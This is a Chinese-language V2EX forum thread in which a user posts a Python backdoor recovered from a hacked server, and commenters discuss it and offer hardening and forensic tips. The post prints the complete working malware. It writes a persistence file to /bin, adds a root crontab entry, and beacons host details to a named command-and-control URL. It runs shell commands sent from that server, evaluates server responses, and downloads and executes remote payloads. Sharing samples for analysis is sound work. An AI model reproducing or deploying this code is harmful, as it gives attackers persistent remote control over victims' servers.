V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
Distributions
Ubuntu
Fedora
CentOS
中文资源站
网易开源镜像站
mritd
V2EX  ›  Linux

服务器被黑,搞到一个 py 脚本,大佬们拿去玩,我重装系统

  •  
  •   mritd ·
    mritd · 2018-01-16 18:22:55 +08:00 · 5791 次点击
    这是一个创建于 2496 天前的主题,其中的信息可能已经有所发展或是发生改变。

    朋友服务器被黑了(真开心)...上去发现有个 python 后门在跑,base64 一下拿到脚本;不太懂 python,准备重装了,大佬们有喜欢搞得可以看看

    服务器: http://k.zsw8.cc/Api/

    base64 后代码

    #coding=utf-8
    import sys
    reload(sys)
    sys.setdefaultencoding("utf-8")
    import urllib
    import socket
    socket.setdefaulttimeout(5)
    import subprocess
    import threading
    import time
    import base64
    import os
    
    try:
        import uuid
        import platform
    except Exception,e:
        pass
    
    apiURL = "http://k.zsw8.cc/Api/"
    runCodePath = '/bin/httpsd'
    tmpPid= "/tmp/VWTFEdbwdaEjduiWar3adW"
    runCode = '''
    #coding: utf-8
    import urllib
    import base64
    while True:
        try:
            page=base64.b64decode(urllib.urlopen("%s").read())
            exec(page)
        except:
            pass
        time.sleep(1800)
    '''% (apiURL)
    
    class CommonWay(object):
        CommonResult = []
        def __init__(self):pass
        def start(self):
            try:
                base64RunCode = base64.b64encode(runCode)
                f = open(runCodePath, "w+")
                f.write("python -c \"import base64;exec(base64.b64decode('%s'))\"" % base64RunCode)
                f.close()
                os.chmod(runCodePath, 0777)
                f = open("/etc/crontab", "r")
                crontabData = f.read()
                f.close()
                if runCodePath not in crontabData:
                    f = open("/etc/crontab", "a+")
                    f.write("\n0 */6 * * * root %s\n" % runCodePath)
                    f.close()
            except Exception, e:
                pass
        def kill(self):
            try:
                try:
                    f = open(tmpPid, 'r')
                    pid = int(f.read())
                    f.close()
                    #os.system("kill -9 %d" % pid)
                    os.kill(pid, 9)
                except Exception, e:
                    pass
                pid = os.getpid()
                f = open(tmpPid, 'w+')
                f.write(str(pid))
                f.close()
            except Exception, e:
                pass
        def result(self, task_id, result):
            try:
                CommonWay.CommonResult.append({"id": task_id, "result": base64.b64encode(result)})
                #print CommonWay.CommonResult
                for my_data in CommonWay.CommonResult:
                    f = urllib.urlopen(apiURL, urllib.urlencode(my_data))
                    if f.getcode() == 200:
                        CommonWay.CommonResult.remove(my_data)
                    f.close()
                #print CommonWay.CommonResult
            except Exception, e:
                pass
    
    class CommonData(object):
        def __init__(self): pass
        @property
        def get_key(self):
            hostname = ""
            mac = ""
            try:
                hostname = base64.b64encode(socket.getfqdn(socket.gethostname()).strip()[:20])
                mac = uuid.UUID(int = uuid.getnode()).hex[-12:]
            except Exception, e:
                pass
            return hostname+":"+mac
        @property
        def get_name(self):
            try:
                return base64.b64encode(socket.getfqdn(socket.gethostname()).strip()[:20])
            except Exception, e:
                return "null"
        def __readCpuInfo(self):
            f = open('/proc/stat')
            lines = f.readlines()
            f.close()
            for line in lines:
                line = line.lstrip()
                counters = line.split()
                if len(counters) < 5:
                    continue
                if counters[0].startswith('cpu'):
                    break
            total = 0
            for i in xrange(1, len(counters)):
                total = total + long(counters[i])
            idle = long(counters[4])
            return {'total': total, 'idle': idle}
        def __calcCpuUsage(self, counters1, counters2):
            idle = counters2['idle'] - counters1['idle']
            total = counters2['total'] - counters1['total']
            return 100 - (idle * 100 / total)
        @property
        def get_cpuuse(self):
            try:
                counters1 = self.__readCpuInfo()
                time.sleep(3)
                counters2 = self.__readCpuInfo()
                return str(self.__calcCpuUsage(counters1, counters2))+"%"
            except Exception, e:
                return "null"
        @property
        def get_cpucount(self):
            try:
                cpu_count = 0
                f = open("/proc/cpuinfo")
                lines = f.readlines()
                f.close()
                for line in lines:
                    if ':' in line:
                        lineList = line.split(":", 2)
                        if lineList[0].strip() == "cpu cores":
                            cpu_count = int(lineList[1].strip())
                            break
                return cpu_count
            except Exception, e:
                return 0
        @property
        def get_core(self):
            try:
                return platform.architecture()[0]
            except Exception, e:
                return "null"
        @property
        def get_platform(self):
            try:
                import platform
                return platform.system()
            except Exception, e:
                return "null"
        @property
        def get_status(self):
            try:
                return "None"
            except Exception, e:
                return "None"
    
    class CmdExec(object):
        def __init__(self, cmd, task_id):
            self.task_cmd = cmd
            self.task_id = task_id
            self.run()
        def run(self):
            t = threading.Thread(target=self.exec_cmd)
            t.setDaemon(True)
            t.start()
        def exec_cmd(self):
            try:
                mytask = subprocess.Popen(self.task_cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
                myCmdResult = mytask.stdout.read()
                #print self.task_id, myCmdResult
                #print myCmdResult, self.task_id
                c = CommonWay()
                c.result(self.task_id, myCmdResult)
            except Exception, e:
                pass
    
    class DownExec(object):
        def __init__(self, downloadurl, taskid):
            self.downloadurl = downloadurl
            self.taskid = taskid
            self.run()
        def run(self):
            t = threading.Thread(target=self.download)
            t.setDaemon(True)
            t.start()
        def schedule(self, a, b, c):
            # a: block count
            # b: block size
            # c: file size
            per = 100.0 * a * b / c
            if per > 100: per = 100
            #print '%.2f%%' % per
        def download(self):
            try:
                f = urllib.urlretrieve(self.downloadurl, filename=None, reporthook=self.schedule, data=None)
                try:
                    os.chmod(f[0], 0777)
                except:
                    pass
                mytask = subprocess.Popen(f[0], shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
                myresult = mytask.stdout.read()
                # update result
                # print myresult, self.taskid
                c = CommonWay()
                c.result(self.taskid, myresult)
            except Exception, e:
                pass
    
        def __del__(self):
            urllib.urlcleanup()
    
    class Client(object):
        def __init__(self):
            self.r_time = 30
            self.runMain()
        def get_task(self):
            try:
                code = 0
                html = ""
                d = CommonData()
                my_data = {"key": d.get_key}
                f = urllib.urlopen(apiURL, urllib.urlencode(my_data))
                code = f.getcode()
                html = f.read()
                f.close()
                data = eval(html)
                if data.has_key("id") and data["id"]:
                    task_id = data["id"]
                    if data.has_key("download") and data["download"]:
                        DownExec(data["download"], task_id)
                    if data.has_key("cmd") and data["cmd"]:
                        CmdExec(data["cmd"], task_id)
                else:
                    self.r_time = int(data["rtime"])
            except Exception, e:
                return False
    
        def up_online(self):
            try:
                code = 0
                html = ""
                d = CommonData()
                my_data = {"key":d.get_key, "name":d.get_name, "os":d.get_platform, "core":d.get_core, "cpu":d.get_cpucount, "cpuuse":d.get_cpuuse, "status":d.get_status}
                f = urllib.urlopen(apiURL, urllib.urlencode(my_data))
                code = f.getcode()
                #html = f.read()
                f.close()
                if code == 200:
                    return True
                else:
                    return False
            except Exception, e:
                return False
    
        def runMain(self):
            try:
                commonWay = CommonWay()
                commonWay.start()
                commonWay.kill()
                while True:
                    if not self.up_online():
                        time.sleep(60)
                        continue
                    self.get_task()
                    time.sleep(self.r_time)
            except Exception, e:
                pass
    
    if __name__ == "__main__":
        c = Client()
    
    16 条回复    2018-04-14 03:06:38 +08:00
    gleymonkey
        1
    gleymonkey  
       2018-01-16 18:25:34 +08:00
    一看这网址就知道是挖矿的。
    mritd
        2
    mritd  
    OP
       2018-01-16 18:41:04 +08:00 via iPhone
    @gleymonkey cpu 百分百,绝壁挖矿,哈哈
    trys1
        3
    trys1  
       2018-01-16 18:46:38 +08:00 via Android
    比较好奇你怎么被黑的,弱口令?
    以及以后该如何预防
    huangunic0rn
        4
    huangunic0rn  
       2018-01-16 18:50:22 +08:00 via Android
    反弹 shell?有大佬解释一下嘛
    mritd
        5
    mritd  
    OP
       2018-01-16 18:50:35 +08:00 via iPhone
    @trys1 不知道,朋友的服务器,我就上去看一眼😂
    closedevice
        6
    closedevice  
       2018-01-16 18:51:34 +08:00
    写的一般,挖矿脚本
    mritd
        7
    mritd  
    OP
       2018-01-16 18:51:35 +08:00 via iPhone
    @trys1 我自己服务器只开 22 密钥认证,其他的跑 docker,省心
    WuwuGin
        8
    WuwuGin  
       2018-01-16 19:00:49 +08:00 via Android
    @mritd 改端口啊,要不然你会看见几十兆的暴力登录 log
    mritd
        9
    mritd  
    OP
       2018-01-16 19:03:13 +08:00 via iPhone
    @WuwuGin 个人小博客,没什没事搞我 😀
    kokutou
        10
    kokutou  
       2018-01-16 19:06:55 +08:00   ❤️ 1
    感觉只要开了 22,开机不出 5 分钟就有个登陆失败 log。。。
    WuwuGin
        11
    WuwuGin  
       2018-01-16 19:11:09 +08:00 via Android
    @mritd 和大小无关,会一直被扫端口登录的。
    vjnjc
        12
    vjnjc  
       2018-01-16 19:13:18 +08:00
    @kokutou 深有同感,我的服务器每天都要被尝试个几百次
    mritd
        13
    mritd  
    OP
       2018-01-16 19:20:34 +08:00 via iPhone
    @WuwuGin 确实有,但是我的不怎么多啊
    t333st
        14
    t333st  
       2018-01-17 10:49:12 +08:00
    该脚本没看出挖矿相关,就是一个远控相关脚本
    jeffson
        15
    jeffson  
       2018-01-17 15:30:29 +08:00
    关注!
    findex
        16
    findex  
       2018-04-14 03:06:38 +08:00
    看了一下。是用挖矿的脚本。简单说说,数了数 cpu 等情况,开了多线程、自动下载 blocks 还有 size 校对,远程挖矿。而且是客户端,需要远程服务器分配任务来挖指定的片区。没看明白脚本的同学,经验还是不够。meltdown 之后变异漏洞太多。我看过不少的了。又用 perl 写的,有用 python 写的,伪装成各种文件。基本上就是这两种发行版会自带的语言解释器。先提权,再运行肉鸡代码。遇到这种情况,打补丁晚了。看看核心数据有没有被盗吧。sshd_config 有没有被改,有没有增加一个新的类似于 dropbear 的轻量 ssh 客户端在运行,或者其他后门程序。cron 被修改了没,是否加入了 authenticate_key。是否修改 /添加了其他用户。看看系统 log。看看 history (我见过有 cracker 写过 wipe log 的程序,可是入侵的时候忘记运行了,留下了马尾,是团伙作案,分工明确,但是还是有菜鸟去操作的)。这样可以把 cracker 找出来。但是 cracker 的 ip 有一定的匿名性,不过有些胆大的就不用 daili IP。业务价值含量高的话,分配点人力物力去追出来。不太重要的话,就随意了。这样搞的,欧洲居多,东欧最多。美中也不少。
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   970 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 25ms · UTC 22:33 · PVG 06:33 · LAX 14:33 · JFK 17:33
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.